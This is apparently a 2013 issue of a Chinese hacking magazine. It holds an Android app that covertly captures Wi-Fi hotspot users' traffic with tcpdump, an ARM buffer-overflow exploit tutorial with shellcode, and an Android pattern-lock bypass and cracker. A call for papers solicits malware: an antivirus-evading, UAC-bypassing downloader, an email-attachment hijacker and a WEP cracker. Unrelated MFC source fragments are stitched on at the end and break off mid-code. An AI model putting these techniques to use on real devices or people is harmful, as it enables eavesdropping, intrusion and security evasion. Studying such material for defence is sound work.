private void dropFile(String dstFilePath, String resFilename){ 

 InputStream inputFS; 

 try {//打开资源文件 

  inputFS = mainAct.getResources().getAssets().open(resFilename); 

 } catch (IOException e1) {e1.printStackTrace(); return;} 

 //输出文件 

 File outFile = new File(dstFilePath); 

 byte buf[] = new byte[1024]; 

    int len; 

    try { 

       OutputStream outputFS = new FileOutputStream(outFile); 

         while((len = inputFS.read(buf))>0) {outputFS.write(buf,0,len);} 

         outputFS.close();    inputFS.close(); 

         chmod(dstFilePath, "0755"); 

 } catch (IOException e) { 

  return ;//"Couldn't install file - "+filename+"!"; 

 } 

 return;  

} 

 

⑥将 TCPDUMP 安装到系统目录 installFile。 

这里需要注意的有两点：一是即使有了 root 权限，但也不一定直接有对 system 目录的

修改权限，即需要通过重新挂载 system 目录，以赋予读写权限：mount -o remount -o rw 

/system；二是释放的文件不一定有可执行权限，故需要通过 chmod 赋予其 755 的权限。具

体实现如下。 

 

//释放和安装 tcpdump 文件 

public String intallFiles() 

HACKER DEFENCE◆54◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n



Android远程监控技术 

 

{ 

 String tmpDir = mainAct.getApplicationContext().getFilesDir()+"/"; 

 String tmpPath = tmpDir+tcpdump; 

 String dstDir, dstPath;  

 //检测是否已经 Root 

 if(!hasRootPermission()) 

   return "Permission denied!"; 

 //将 tcpdump 放置到临时目录 

 dropFile(tmpPath, tcpdump); 

 /**将 tcpdump 移植/system/bin 目录下**/ 

 //change the permission of "/system" directory 

 if(isFileExist("/system/bin/mount")         ||isFileExist("/system/xbin/mount")){ 

  //以可写权限重新挂载 System 目录 

  runCommand("mount -o remount -o rw /system"); 

  dstDir = "/system/bin/"; 

 }else 

  //system/bin 不行，则将 tcpdump 放到/data 下 

  dstDir = "/data/"; 

 dstPath = dstDir+tcpdump;  

 //删除已存在的文件 

 if(isFileExist(dstPath)) 

  runCommand("rm "+dstPath); 

 //移动文件到目标目录 

 runCommand("mv "+tmpPath+" "+dstPath); 

 //赋予权限 

 chmod(dstPath, "0755"); 

 tcpdumpPath = dstPath; 

 return "tcpdump 已安装到"+tcpdumpPath; 

} 

 

⑦生成数据文件存储路径 prepareDataPath。 

 本文中捕获的数据包都存储在 SD 卡 pcap 目录下，文件以“年-月-日_时-分-秒.pcap”

的方式命名。 

 

//准备数据文件路径 

public String prepareDataPath(){ 

 String path = null; 

 String tmpDataPath; 

 if( hasSdcard() == false) 

  tmpDataPath = Environment.getDataDirectory().getPath(); 

 else 

  tmpDataPath = Environment.getExternalStorageDirectory().getPath(); 

 if(tmpDataPath == null) 

  return "未能找到合适的数据存储路径！"; 
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 File filePath = new File(tmpDataPath+"/pcap/"); 

 if ( filePath.mkdirs() || filePath.isDirectory()){ 

  path = tmpDataPath+"/pcap/"+getCurrentTime()+".pcap"; 

 } 

 dataPath = path; 

 return "数据将存储为:"+dataPath;  

} 

 

⑧最重要的方法 beginDump。 

beginDump 是提供给 helloworld 类调用的方法，其参数为数据捕获的过滤器字符串。该

方法在内部实现时创建了一个线程，专门进行数据捕获。线程 myThread 和 beginDump 的具

体实现如下。 

 

//进行数据捕获的线程 

class myThread implements Runnable {  

 public void run() { 

  runCommand(tcpdumpPath+" -w "+dataPath+" "+ProtocolFilter); 

 } 

} 

public int beginDump(String strFilter){ 

 int retCode; 

 if(tcpdumpPath == null)  

  retCode = 1; //未能成功安装 tcpdump 

 else if(dataPath == null) 

  retCode = 2;//未能找到合适数据存储路径，请确保有可用的外部存储 

 else{ 

  ProtocolFilter = strFilter; 

  new Thread(new myThread()).start(); 

  retCode = 0; //开始运行 

 } 

 return retCode; 

} 

 

⑨停止捕获的方法 Stop。 

停止捕获的思路是使用 kill 命令关闭由 myThread 运行起来的 tcpdump 进程。具体先使

用“ps | grep tcpdump”找出所有 tcpdump 进程信息，再用 split 函数获得 pid，再“kill pid”

关闭 tcpdump。 

 

//停止 

public String stop(){ 

 //获取进程号 

 String tmpDir = mainAct.getApplicationContext().getFilesDir()+"/"; 

 String pidFilePath = tmpDir +"pspid"; 

 runCommand("ps | grep tcpdump > "+ pidFilePath); 
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 if (false ==isFileExist(pidFilePath)){ 

  return null; 

 } 

 File pidFile = new File(pidFilePath); 

 String tmpstr = ""; 

 String strArry[]; 

 try{ 

  InputStream pidIS = new FileInputStream(pidFile); 

  BufferedReader bf = new BufferedReader(new InputStreamReader(pidIS)); 

  while((tmpstr = bf.readLine())!=null){ 

   strArry = tmpstr.split("\\s+");// 

   runCommand("kill "+strArry[1]); 

  } 

 }catch (Exception e){ 

  return null; 

 }   

 return "数据已存储到"+dataPath;   

} 

 

3．用于简单交互的 helloworld 类 

helloworld 类作为 MainActivity，继承于 Activity，用来显示提供基础的交互。本 Demo

程序仅包含“开始”“停止”按钮，其中用到显示提示信息的 Toast 类，下面详细介绍。 

 1）Activity 的初始化函数 onCreate 

在 onCreate 函数中主要进行的操作有安装 tcpdump 文件，初始化 Button 等。 

 

//安装 tcpdump文件 

PacpDump = new PacketDump(this); 

msg = PacpDump.intallFiles(); 

showToastMsg(msg); 

//初始化 button等 

startCap = (Button)findViewById(R.id.buttonStart); 

stopCap = (Button)findViewById(R.id.buttonStop); 

//设置 ClickListener  

startCap.setOnClickListener(new OnClickListener(){„})； 

stopCap.setOnClickListener(new OnClickListener(){„})； 

 

 2）对“开始”和“停止”按钮的事件响应 

Starcap 按钮的 OnClickListener 代码如下： 

 

new OnClickListener(){ 

 @Override 

 public void onClick(View v) {   

        int errCode; String errMsg;         

  if(!bRunning){ 
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   errMsg = PacpDump.prepareDataPath(); 

   showToastMsg(errMsg); 

   //开始抓包 

   errCode = PacpDump.beginDump(HttpFilter); 

   //显示提示信息 

   switch (errCode) { 

         case 0: errMsg = "成功运行！";bRunning = true;break; 

         case 1: errMsg = "未能成功安装 tcpdump！"; break; 

     case 2:errMsg = "未能找到合适数据存储路径，请确保有可用的

外部存储！";break; 

     default:errMsg = "未知的错误！";      

   }      

  }else{errMsg = "已经在运行啦~~";} 

  showToastMsg(errMsg); 

  //修改按钮状态 

  if(bRunning){ 

   startCap.setEnabled(false); 

   stopCap.setEnabled(true); 

  }         

 } 

} 

 

Stop 按钮的 OnClickListener 代码如下： 

 

new OnClickListener(){ 

 @Override 

  public void onClick(View v) {   

 String errMsg; 

 if(bRunning){//stop the thread 

  errMsg = PacpDump.stop(); 

  if(null == errMsg){ 

   showToastMsg("停止失败！"); 

  }else{ 

   bRunning = false; 

   showToastMsg("成功停止"); 

   showToastMsg(errMsg); 

   startCap.setEnabled(true); 

   stopCap.setEnabled(false); 

  } 

 }else{ 

  showToastMsg("已经意外停止！"); 

  startCap.setEnabled(true); 

  stopCap.setEnabled(false); 

 } 
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  } 

} 

 

实际测试 

 通过以上代码，基本上就可以构建出一个简单的 Wifi 热点数据捕获工具了。接下来，

我们进行实际测试，环境为 HTC G10，Android 2.3.4，MIUI。 

手机上开启 Wifi 热点，运行程序，开始数据转储，如图 3、图 4、图 5 所示。 

  

  图 3 开启 wifi 热点共享    图 4 运行 WifiDump 程序        图 5 开始转储 
   接入手机搭建的 Wifi 热点“wifi dump”，并进行网页浏览等操作，之后停止数据转储，

并分析数据，如图 6、图 7、图 8 所示。 

 

        图 6 停止数据转储                 图 7 列出捕获的数据文件 

 

图 8 取回数据（亦可将手机 SD 卡连至电脑取回数据） 
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图 9 用 wireshark 对转储数据进行分析 

 

总结 

本文基于TCPDUMP实现了一个Wifi数据转储工具，该工具提供了较为灵活的过滤接口，

可通过设置Helloworld类中HttpFilter的值实现对不同协议、IP、端口等的灵活过滤，同时可

以利用强大的Wireshark分析工具对数据包进行分析，工具简陋却功能强大。 

                                                                                

基于 ARM 平台的 EXPLOIT 研究 

文/图 秦妮 

两年前手机应用层安全研究异常火爆，手机木马开发、手机恶意代码检测等，基本都是

基于应用层的安全研究。随着 Android 系统发展的逐渐升温，其平台下的攻防技术也不断发

展。应用层的攻防与对抗已经不再是什么新东西了，越来越多的研究者开始走进 Linux 底层

进行内核级攻防研究。 

目前多数手机系统都是运行在 ARM 平台下的，该平台与 X86 有所不同，X86 下的攻击

代码不能完全拿过来用，要通过移植、重新编译等方法才能正常运行在 ARM 平台下。下面

主要对 ARM 平台下的 exploit 技术进行简要分析。 

首先我们用到如下工具，主要都是一些交叉编译工具链。 

arm-none-linux-gnueabi-as 

arm-none-linux-gnueabi-ld 

arm-none-linux-gnueabi-objdump 

arm-none-linux-gnueabi-gcc 

arm-none-linux-gnueabi-gdb 

 

准备 shellcode 
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首先我们需要准备一段测试用的 shellcode，编写并提取 shellcode是比较基础的技能，

可以用你熟悉的语言写一段代码，编译生成可执行文件后提取机器码。从个人经验来看，使

用汇编语言是比较方便简洁的。下面用汇编语言写一段打印字符的程序。 

 

#hello-arm.s 

.section .text 

.global _start 

 

_start: 

 mov r2, #9 

 mov r1, pc 

 add r1, #24 

 mov r0, $0x1 

 mov r7, $0x4 

 svc 0 

 sub r0, r0, r0 

 mov r7, $0x1 

 svc 0 

.ascii "arm exp!\n" 

 

使用命令“arm-none-linux-gnueabi-as -o hello-arm.o hello-arm.s”进行编译，会

生成 hello-arm.o文件，然后使用命令“ arm-none-linux-gnueabi-ld -o hello-arm 

hello-arm.o”进行链接，会生成hello-arm文件。hello-arm就是ARM平台下Linux系统的可

执行文件。大家都知道，Android系统可以运行于ARM平台并且底层是Linux内核的，因此我

们可以用Android SDK中的虚拟机进行测试。 

使用ADB命令将文件上传至Android虚拟机并运行，具体步骤如下： 

上传文件至虚拟机/dev目录，使用命令“adb push hello-arm /dev/hello-arm”，然后

使用“adb shell”开启shell，进入dev目录更改文件权限“chmod 777 hello-arm”，执行

程序进行测试。如果一切正常，效果会如图1所示。 

 

图1 

说 明 可 以 正 常 执 行 ， 然 后 可 以 提 取 shellcode 了 。 使 用 命 令

“arm-none-linux-gnueabi-objdump -d hello-arm”查看汇编指令及机器码，会得到如图2所示

的内容。 
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图2 

之后即可将机器码转化为shellcode，代码如下： 

 

"\x0d\x20\xa0\xe3" 

"\x0f\x10\xa0\xe1" 

"\x18\x10\x81\xe2" 

"\x01\x00\xa0\xe3" 

"\x04\x70\xa0\xe3" 

"\x00\x00\x00\xef" 

"\x00\x00\x40\xe0" 

"\x01\x70\xa0\xe3" 

"\x00\x00\x00\xef" 

"\x61\x72\x6d\x20" 

"\x65\x78\x70\x6c" 

"\x6f\x69\x74\x2e" 

 

保存好shellcode以备后面使用。 

 

构造漏洞程序 

下面我们来编写一段有漏洞的测试程序，代码如下： 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <sys/mman.h> 

char shellcode[] = 
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"\x0d\x20\xa0\xe3" 

"\x0f\x10\xa0\xe1" 

"\x18\x10\x81\xe2" 

"\x01\x00\xa0\xe3" 

"\x04\x70\xa0\xe3" 

"\x00\x00\x00\xef" 

"\x00\x00\x40\xe0" 

"\x01\x70\xa0\xe3" 

"\x00\x00\x00\xef" 

"\x61\x72\x6d\x20" 

"\x65\x78\x70\x6c" 

"\x6f\x69\x74\x2e"; 

void 

bof(void) 

{ 

FILE *fp; 

char fname[] = "file.ov"; 

char buf[256]; 

fp = fopen(fname, "r"); 

if (!fp) { 

fprintf(stderr, "can't open fname '%s'!\n", fname); 

return; 

} 

memset(buf, 0x0, sizeof(buf)); 

fread(buf, sizeof(char), 512, fp);  

} 

int 

main(void) 

{ 

mprotect((void *) ((unsigned int) shellcode & ~4095), 0x1000, PROT_READ | 

PROT_WRITE | PROT_EXEC); 

bof(); 

return 0; 

} 

 

这个程序很简单，问题出在 bof 函数中，buf 大小为 256，当数据大于 256 时就是溢出

覆盖 pc 指针寄存器，导致 shellcode 执行。 

先编译程序，使用“arm-none-linux-gnueabi-gcc -Wconversion -Wall -W -pedantic -ansi -g 

-ggdb -static -o arm_bof bof.c”命令进行编译，并生成调试文件以备下面调试。正常情况下会

生成 arm_bof 文件，将该文件上传至 dev 目录，更改权限并运行，可以看到提示找不到 file.ov

文件。 

这时我们需要精心构造一个 file.ov 文件来触发这个程序的缓冲区溢出，下面详细看下

具体促发流程。 
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漏洞分析 

从程序中可以看出，首先是读取 file.ov文件，然后将数据读入 buf中，在读入的时候

有可能产生缓冲区溢出，此时我们就要用 shellcode的地址覆盖到 pc指针寄存器。 

首先获得 shellcode的地址，使用命令“arm-none-linux-gnueabi-gdb -q arm_bof”开始

调试，使用“p &shellcode”定位 shellcode地址。从图 3 中可看出地址为 0x81e98，记录

地址以备后面构造 file.ov 使用。 

 

图 3 

下面用 IDA 加载 arm_bof 文件，查看 bof 函数，如图 4 所示，可以看出偏移为 0x110

开始是我们要覆盖的地方。 

 

图 4 

 

编写 exp 

有了偏移位置和 shellcode地址，剩下的就是构造一个 file.ov，将偏移地址处的数据

覆盖为 shellcode 地址。 

使用 C32asm 构造如图 5 所示的文件，然后将该文件上传至 dev 目录，再次运行 arm_bof，

如果成功，会执行 shellcode，输出打印信息，如图 6 所示。 
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Android远程监控技术 

 

 

图 5 

 

图 6 

Android 底层安全技术研究正在如火如荼的进行中，希望大家多多交流相互学习。 

                                                                                 

Android 图形锁破解 

文/图 修炼中的柳柳 

 朋友将 Android 系统手机借给别人玩，结果被设了图形锁，于是找我帮忙解决。上网一

番搜索，找到了下面的方法，USB 连接手机后用 adb 获取 shell，再执行如下指令即可。 

cd /data/system 

rm password.key 

rm gesture.key 

reboot 

 这么说来，password.key 和 gesture.key 文件便是保存图形锁的两个关键文件了。没

几天，朋友又找我说 gesture.key 文件才是关键，并找我一起来研究图形锁。根据朋友提供

的资料，图形锁屏是挂件，实现代码应在 com/android/internal/widget/ 中，于是我 grep 了下 

gesture.key，果然在 LockPatternUtils.java 中有所收获，如图 1 所示。  
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图 1 

 正如上面的代码所说，Android 对图形解锁的计算是取出每个点放入数组，当作字符串

计算其 sha1 值。图形解锁有个特点，就是至少三点，至多九点，不允许重复，密码的输入

流程如图 2 所示。 

 

图 2 

 继续阅读代码，了解到 Android 的图形锁仅仅是以一个类似 char pattern[3][3]类的二维

数组，所以九宫图形锁中每个点就是由{012}{012}组成的。比如图 3，密匙串就应该是

\x00\x01\x04\x07 了。Android 代码会继续对这个串计算其 sha1 散列值，因此我们完全可以

做一个 rainbow 算出所有的可能性，最后所需要的仅是 grep 下就可以了。 

 

图 3 

 接下来就只是编码实现了，具体实现代码可以看源码。原理很简单，就是数据结构中的

栈+迷宫问题，因为每次走的都是点的上下左右斜左上斜右上斜左下斜右，一共 16 种走法，

每走一步就判断数组中已走点数是否大于等于 3，大于就调用 writelog 函数把走过的路径写

入 hash.db 中即可。 
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def writelog(tmp, prev): 

strings = "" 

paths = "" 

for i in prev: 

 x,y = i 

 paths = paths + str(x)+str(y) 

 strings = strings + key_mapper[x][y] 

filehandle.write(paths+" | "+hashlib.sha1(strings).hexdigest()+'\n' 

 

 最后我们来看看效果，图 4 是我的小米手机的 2 字图形锁的 gesture.key，Root 过的手机

直接 adb 上去获取的，00 01 11 10 20 21 正好对应图上的坐标，如图 5 所示。 

 

图 4 

 

图 5 

 至此，Android 系统的图形锁就被成功破解了，知道了其中的原理，你会发现原来不过

如此，并无什么神秘性可言。 

 

（完） 
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2013 年第 5 期杂志特约选题征稿 
 黑客防线于 2013 年推出新的约稿机制，每期均会推出编辑部特选的选题，涵盖信息安

全 领 域 的 各 个 方 面 。 对 这 些 选 题 有 兴 趣 的 读 者 与 作 者 ， 可 联 系 信 箱 ：

du_xing_zhe@yahoo.com.cn，或者 QQ：675122680，确定有意的选题。按照要求如期完成稿

件者，稿酬从优！第 5 期的选题如下： 

 

1）编写下载者 

说明： 

编写一个下载者程序，每次开机启动后，都能从指定网站获取数据，下载并执行。 

 

要求： 

1）将该程序上传到邮箱，然后下载到机器上运行，不会有 SmartScreen 提示。 

2）Windows UAC 安全设置最高，程序自身运行时无提示，能获取系统管理员权限。 

3）执行其他程序也能无提示获取系统管理员权限。 

4）能绕过 360 安全卫士监控，加载驱动保护自身，隐藏和保护指定的文件，隐藏连接，使

用 Xuetr、PowerTool 工具无法查看到文件和连接。 

5）免杀过 360 安全卫士、360 杀毒等主流杀软。 

6）程序没有签名。 

7）运行的系统补丁打到最新。 

8）支持操作系统 Windows xp/2003ista/7/2008/8。 

9）以上所有功能，能在 32 位和 64 位系统上通用稳定。 

 

2）邮箱附件劫持 

说明： 

 编写一个程序，当用户在浏览器上登录邮箱（本地权限），发送邮件时，自动将附件里

的文件替换为另外一个文件。 

 

要求： 

 1）支持 Gmail、hotmail、yahoo 新版旧版、163、126。 

 2）支持 IE 浏览器 6/7/8/9/10，或支持火狐浏览器，或谷歌浏览器。 

 

3）突破 Windows7 UAC 

说明： 

 编写一个程序，绕过 Windows7 UAC 提示，启动另外一个程序，并使这个程序获取到管

理员权限。 

 

要求： 

 1）Windows UAC 安全设置为最高级别； 

 2）系统补丁打到最新； 

 3）支持 32 位和 64 位系统。 

 

4）Android 系统中暴力破解以 WEP 加密的 WIFI 密码 

说明： 
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 1）Android 系统为 root 过的； 

 2）针对 WEP 加密方式进行破解； 

 3）可以使用跑密码字典的方式实现； 

 4）可以编写新程序或者移植。 

 

要求： 

 1）代码必须以后台方式运行； 

 2）代码从 SD 卡 wifi.txt 文件读取要破解的目标； 

 3）代码从 SD 卡 pass.txt 文件读取要尝试的密码； 

 4）破解结果写入 SD 卡 password.txt 文件。 
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2013 征稿启示 
 
   《黑客防线》作为一本技术月刊，已经 13 年了。这十多年以来基本上形成了一个网络安

全技术坎坷发展的主线，陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们

实现了诸多技术突破。再次感谢所有的读者和作者，希望这份技术杂志可以永远陪你一起走

下去。 
投稿栏目: 
首发漏洞  
    要求原创必须首发，杜绝一切二手资料。主要内容集中在各种 0Day 公布、讨论，欢迎

第一手溢出类文章，特别欢迎主流操作系统和网络设备的底层 0Day，稿费从优，可以洽谈

深度合作。有深度合作意向者，直接联系总编辑 binsun20000@hotmail.com  
Android 技术研究 
    黑防重点栏目，对 android 系统的攻击、破解、控制等技术的研究。研究方向包括 android
源代码解析、android 虚拟机，重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的

技术和成果。 
本月焦点  
    针对时下的热点网络安全技术问题展开讨论，或发表自己的技术观点、研究成果，或针

对某一技术事件做分析、评测。  
漏洞攻防  
    利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透，反入侵，包括比较流行的第

三方软件和网络设备 0Day 的触发机理，对于国际国内发布的 poc 进行分析研究，编写并提

供优化的 exploit 的思路和过程；同时可针对最新爆发的漏洞进行底层触发、shellcode 分析

以及对各种平台的安全机制的研究。  
脚本攻防  
    利用脚本系统漏洞进行的注入、提权、渗透；国内外使用率高的脚本系统的 0Day 以及

相关防护代码。重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议；重点欢

迎 PHP 、JSP 以及 html 边界注入的研究和代码实现。  
工具与免杀 
    巧妙的免杀技术讨论；针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。特

别欢迎突破安全防护软件主动防御的技术讨论，以及针对主流杀毒软件文件监控和扫描技术

的新型思路对抗,并且欢迎在源代码基础上免杀和专杀的技术论证! 最新工具，包括安全工

具和黑客工具的新技术分析，以及新的使用技巧的实力讲解。  
渗透与提权  
    黑防重点栏目。欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提

权技术讨论，特别欢迎内网渗透、摆渡、提权的技术突破。一切独特的渗透、提权实际例子

均在此栏目发表，杜绝任何无亮点技术文章！  
溢出研究  
    对各种系统包括应用软件漏洞的详细分析，以及底层触发、shellcode 编写、漏洞模式等。  
外文精粹  
    选取国外优秀的网络安全技术文章，进行翻译、讨论。  
 
网络安全顾问  

HACKER DEFENCE◆70◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n



 

 

     我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立；ARP 系统的整体防

护；较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。  
搜索引擎优化  
    主要针对特定关键词在各搜索引擎的综合排名、针对主流搜索引擎的多关键词排名的优

化技术。  
密界寻踪  
    关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、

调试及逆向分析技术的深入研究。  
编程解析  
    各种安全软件和黑客软件的编程技术探讨；底层驱动、网络协议、进程的加载与控制技

术探讨和 virus 高级应用技术编写；以及漏洞利用的关键代码解析和测试。重点欢迎

C/C++/ASM 自主开发独特工具的开源讨论。 
投稿格式要求：  
    1）技术分析来稿一律使用 Word 编排，将图片插入文章中适当的位置，并明确标注“图

1”、“图 2”；  
    2）在稿件末尾请注明您的账户名、银行账号、以及开户地，包括你的真实姓名、准确

的邮寄地址和邮编、、QQ 或者 MSN、邮箱、常用的笔名等，方便我们发放稿费。  
    3）投稿方式和和周期：  
 采用 E-Mail 方式投稿，投稿 mail： du_xing_zhe@yahoo.com.cn  QQ675122680 投稿后，

稿件录用情况将于 1-3 个工作日内回复，请作者留意查看。每月 10 日前投稿将有机会发表

在下月杂志上，10 日后将放到下下月杂志，请作者朋友注意，确认在下一期也没使用者，

可以另投他处。限于人力，未采用的恕不退稿 ，请自留底稿。  
 重点提示：严禁一稿两投。无论什么原因，如果出现重稿——与别的杂志重复——与别

的网站重复，将会扣发稿费，从此不再录用该作者稿件。  
    4）稿费发放周期：  
 稿费当月发放，稿费从优。欢迎更多的专业技术人员加入到这个行列。 
    5）根据稿件质量，分为一等、二等、三等稿件，稿费标准如下： 
 一等稿件 900 元/篇 
 二等稿件 600 元/篇 
 三等稿件 300 元/篇 
    6）稿费发放办法：  
 银行卡发放，支持境内各大银行借记卡，不支持信用卡。 
    7）投稿信箱及编辑联系 
 投稿信箱 du_xing_zhe@yahoo.com.cn   
 编辑 QQ  675122680 
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源码/7QW.APS






源码/7QW.clw

; CLW file contains information for the MFC ClassWizard

[General Info]
Version=1
LastClass=CLoginDlg
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "7QW.h"
LastPage=0

ClassCount=14
Class1=CMy7QWApp
Class2=CMy7QWDoc
Class3=CMy7QWView
Class4=CMainFrame

ResourceCount=7
Resource1=IDD_DIALOG4
Resource2=IDR_MAINFRAME
Resource3=IDD_DIALOG3
Resource4=IDD_DIALOG1
Resource5=IDD_ABOUTBOX
Class5=CAboutDlg
Class6=CTopView
Class7=CEndView
Class8=CTopSheet
Class9=CFun1Dlg
Class10=CFun2Dlg
Class11=CFun3Dlg
Class12=CFun1LeftView
Class13=CFun1RightView
Resource6=IDD_DIALOG2
Class14=CLoginDlg
Resource7=IDD_DIALOG5

[CLS:CMy7QWApp]
Type=0
HeaderFile=7QW.h
ImplementationFile=7QW.cpp
Filter=N

[CLS:CMy7QWDoc]
Type=0
HeaderFile=7QWDoc.h
ImplementationFile=7QWDoc.cpp
Filter=N

[CLS:CMy7QWView]
Type=0
HeaderFile=7QWView.h
ImplementationFile=7QWView.cpp
Filter=C


[CLS:CMainFrame]
Type=0
HeaderFile=MainFrm.h
ImplementationFile=MainFrm.cpp
Filter=T
BaseClass=CFrameWnd
VirtualFilter=fWC
LastObject=ID_AMF3_DECODE2




[CLS:CAboutDlg]
Type=0
HeaderFile=7QW.cpp
ImplementationFile=7QW.cpp
Filter=D

[DLG:IDD_ABOUTBOX]
Type=1
Class=CAboutDlg
ControlCount=4
Control1=IDC_STATIC,static,1342177283
Control2=IDC_STATIC,static,1342308480
Control3=IDC_STATIC,static,1342308352
Control4=IDOK,button,1342373889

[MNU:IDR_MAINFRAME]
Type=1
Class=CMainFrame
Command1=IDM_MENU_LOGIN
Command2=ID_FILE_MRU_FILE1
Command3=ID_TEST
Command4=ID_APP_EXIT
Command5=ID_VIEW_TOOLBAR
Command6=ID_VIEW_STATUS_BAR
Command7=ID_AMF3_DECODE
Command8=ID_AMF3_DECODE2
Command9=ID_APP_ABOUT
CommandCount=9

[ACL:IDR_MAINFRAME]
Type=1
Class=CMainFrame
Command1=ID_FILE_NEW
Command2=ID_FILE_OPEN
Command3=ID_FILE_SAVE
Command4=ID_FILE_PRINT
Command5=ID_EDIT_UNDO
Command6=ID_EDIT_CUT
Command7=ID_EDIT_COPY
Command8=ID_EDIT_PASTE
Command9=ID_EDIT_UNDO
Command10=ID_EDIT_CUT
Command11=ID_EDIT_COPY
Command12=ID_EDIT_PASTE
Command13=ID_NEXT_PANE
Command14=ID_PREV_PANE
CommandCount=14

[TB:IDR_MAINFRAME]
Type=1
Class=?
Command1=ID_FILE_NEW
Command2=ID_FILE_OPEN
Command3=ID_FILE_SAVE
Command4=ID_EDIT_CUT
Command5=ID_EDIT_COPY
Command6=ID_EDIT_PASTE
Command7=ID_FILE_PRINT
Command8=ID_APP_ABOUT
CommandCount=8

[CLS:CTopView]
Type=0
HeaderFile=TopView.h
ImplementationFile=TopView.cpp
BaseClass=CView
Filter=C
VirtualFilter=VWC

[CLS:CEndView]
Type=0
HeaderFile=EndView.h
ImplementationFile=EndView.cpp
BaseClass=CListView
Filter=C
VirtualFilter=VWC

[CLS:CTopSheet]
Type=0
HeaderFile=TopSheet.h
ImplementationFile=TopSheet.cpp
BaseClass=CPropertySheet
Filter=W
LastObject=CTopSheet

[DLG:IDD_DIALOG1]
Type=1
Class=CFun1Dlg
ControlCount=1
Control1=IDC_STATIC1,static,1342177287

[DLG:IDD_DIALOG2]
Type=1
Class=CFun2Dlg
ControlCount=4
Control1=IDC_BUTTON1,button,1342242816
Control2=IDC_BUTTON3,button,1342242816
Control3=IDC_BUTTON4,button,1342242816
Control4=IDC_BUTTON2,button,1342242816

[DLG:IDD_DIALOG3]
Type=1
Class=CFun3Dlg
ControlCount=2
Control1=IDOK,button,1342242817
Control2=IDCANCEL,button,1342242816

[DLG:IDD_DIALOG4]
Type=1
Class=?
ControlCount=2
Control1=IDOK,button,1342242817
Control2=IDCANCEL,button,1342242816

[CLS:CFun1Dlg]
Type=0
HeaderFile=Fun1Dlg.h
ImplementationFile=Fun1Dlg.cpp
BaseClass=CPropertyPage
Filter=D
LastObject=CFun1Dlg
VirtualFilter=idWC

[CLS:CFun2Dlg]
Type=0
HeaderFile=Fun2Dlg.h
ImplementationFile=Fun2Dlg.cpp
BaseClass=CPropertyPage
Filter=D
LastObject=CFun2Dlg
VirtualFilter=idWC

[CLS:CFun3Dlg]
Type=0
HeaderFile=Fun3Dlg.h
ImplementationFile=Fun3Dlg.cpp
BaseClass=CPropertyPage
Filter=D
LastObject=CFun3Dlg

[CLS:CFun1LeftView]
Type=0
HeaderFile=Fun1LeftView.h
ImplementationFile=Fun1LeftView.cpp
BaseClass=CTreeView
Filter=C
VirtualFilter=VWC

[CLS:CFun1RightView]
Type=0
HeaderFile=Fun1RightView.h
ImplementationFile=Fun1RightView.cpp
BaseClass=CListView
Filter=C

[DLG:IDD_DIALOG5]
Type=1
Class=CLoginDlg
ControlCount=14
Control1=IDC_STATIC,static,1342308352
Control2=IDC_EDIT1,edit,1350639744
Control3=IDC_STATIC,static,1342308352
Control4=IDC_EDIT2,edit,1350631584
Control5=IDC_STATIC,static,1342308352
Control6=IDC_EDIT3,edit,1350631552
Control7=IDC_BUTTON1,button,1342242816
Control8=IDC_STATIC,static,1342308352
Control9=IDC_STATIC1,static,1342177284
Control10=IDC_EDIT4,edit,1350631552
Control11=IDC_BUTTON2,button,1342242816
Control12=IDC_COMBO1,combobox,1344340225
Control13=IDC_STATIC,static,1342177296
Control14=IDC_BUTTON6,button,1342242816

[CLS:CLoginDlg]
Type=0
HeaderFile=LoginDlg.h
ImplementationFile=LoginDlg.cpp
BaseClass=CDialog
Filter=W
LastObject=IDC_EDIT3
VirtualFilter=dWC









源码/7QW.cpp


??/7QW.cpp

// 7QW.cpp : Defines the class behaviors for the application.


//





#include "stdafx.h"


#include "7QW.h"





#include "MainFrm.h"


#include "7QWDoc.h"


#include "7QWView.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CMy7QWApp





BEGIN_MESSAGE_MAP(CMy7QWApp, CWinApp)


    //{{AFX_MSG_MAP(CMy7QWApp)


    ON_COMMAND(ID_APP_ABOUT, OnAppAbout)


        // NOTE - the ClassWizard will add and remove mapping macros here.


        //    DO NOT EDIT what you see in these blocks of generated code!


    //}}AFX_MSG_MAP


    // Standard file based document commands


    ON_COMMAND(ID_FILE_NEW, CWinApp::OnFileNew)


    ON_COMMAND(ID_FILE_OPEN, CWinApp::OnFileOpen)


    // Standard print setup command


    ON_COMMAND(ID_FILE_PRINT_SETUP, CWinApp::OnFilePrintSetup)


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CMy7QWApp construction





CMy7QWApp::CMy7QWApp()


{


    // TODO: add construction code here,


    // Place all significant initialization in InitInstance


}





/////////////////////////////////////////////////////////////////////////////


// The one and only CMy7QWApp object





CMy7QWApp theApp;





/////////////////////////////////////////////////////////////////////////////


// CMy7QWApp initialization





BOOL CMy7QWApp::InitInstance()


{


    CoInitialize(NULL);


    





    


    AfxEnableControlContainer();





    // Standard initialization


    // If you are not using these features and wish to reduce the size


    //  of your final executable, you should remove from the following


    //  the specific initialization routines you do not need.





#ifdef _AFXDLL


    Enable3dControls();         // Call this when using MFC in a shared DLL


#else


    Enable3dControlsStatic();   // Call this when linking to MFC statically


#endif





    // Change the registry key under which our settings are stored.


    // TODO: You should modify this string to be something appropriate


    // such as the name of your company or organization.


    SetRegistryKey(_T("Local AppWizard-Generated Applications"));





    LoadStdProfileSettings();  // Load standard INI file options (including MRU)





    // Register the application's document templates.  Document templates


    //  serve as the connection between documents, frame windows and views.





    CSingleDocTemplate* pDocTemplate;


    pDocTemplate = new CSingleDocTemplate(


